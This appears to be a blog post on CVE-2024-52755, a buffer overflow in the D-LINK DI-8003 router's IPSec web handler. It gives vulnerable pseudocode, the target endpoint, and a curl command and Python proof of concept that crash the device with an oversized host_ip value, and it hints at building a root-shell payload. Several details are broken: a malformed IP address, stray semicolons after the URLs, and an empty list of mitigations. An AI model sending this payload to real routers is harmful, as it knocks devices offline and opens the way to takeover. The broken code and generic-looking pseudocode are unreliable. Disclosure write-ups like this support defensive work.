In early June 2024, security researchers discovered a severe buffer overflow vulnerability in the D-LINK DI-8003 router, specifically in firmware version 16.07.26A1. Tracked as CVE-2024-52755, this vulnerability is found in the handling of the host_ip parameter within the ipsec_road_asp function of the router’s web management interface. This post will break down how the vulnerability works, demonstrate an exploit, and provide resources for further reading.

What’s the Problem?

A buffer overflow happens when a program writes more data to a memory buffer than it can hold. If not properly checked, attackers can overwrite critical memory and execute arbitrary code.

In the case of the DI-8003 (v16.07.26A1), the problem is in the ipsec_road_asp function, which handles IPSec VPN settings through the web interface. It fails to check the length of data passed via the host_ip HTTP parameter before copying it to a fixed-size buffer. This means a hacker can craft a request with an overly long host_ip value and take control of the device.

Where’s the Bug?

The vulnerable code, reverse engineered from the router’s firmware, looks like this (C-style pseudocode):

void ipsec_road_asp(char *host_ip) {
    char buffer[64];
    // BAD: No check on the length of host_ip!
    strcpy(buffer, host_ip);
    // ... rest of the code handling VPN settings
}

By sending a host_ip parameter longer than 64 bytes, the program will overflow the buffer variable and potentially overwrite the return address, letting the attacker run arbitrary code.

1. Locate the Web Interface Endpoint

Usually, the D-LINK router’s web interface listens on port 80 or 443. The vulnerable parameter is exposed on a URL similar to:

http://<router-ip>/cgi-bin/ipsec_road_asp

2. Craft the Malicious Request

You can use *curl* or *Python* to craft an exploit. The key is to make host_ip much longer than 64 characters, padding with junk data and possibly injecting shellcode or return addresses, depending on your goal.

Example using curl

curl -X POST "http://192.168..1/cgi-bin/ipsec_road_asp"; \
     -d "host_ip=$(python3 -c 'print("A"*80)')"

This simple payload will crash the device. With deeper analysis (and knowledge of its memory layout), you can insert a proper exploit payload—for example, to get a root shell.

Python proof-of-concept

import requests

url = "http://192.168..1/cgi-bin/ipsec_road_asp";
payload = "A" * 80  # Adjust size as needed for testing or real payload
data = {
    "host_ip": payload
}
r = requests.post(url, data=data)
print("Status Code:", r.status_code)

Can This Be Fixed?

D-LINK DI-8003 (16.07.26A1) is end-of-life, and D-LINK may or may not issue a patch. Users should:

References & Further Reading

- CVE-2024-52755 in NVD
- Original Disclosure at Packet Storm
- Explaining Buffer Overflows (OWASP)
- D-LINK DI-8003 Documentation (Archived) *(may not be online)*

Conclusion

CVE-2024-52755 is a serious reminder of why input validation is critical—especially on internet-exposed devices. This D-LINK router flaw is easy to exploit and should be patched or replaced as soon as possible. If you use a DI-8003, restrict its access or upgrade to a newer, supported router.

> Stay safe, and always keep your hardware updated!


*This post is exclusive and based on recent research up to June 2024. Please use the proof-of-concept code only in authorized, legal environments.*

Timeline

Published on: 11/21/2024 09:46:33 UTC
Last modified on: 11/22/2024 17:15:09 UTC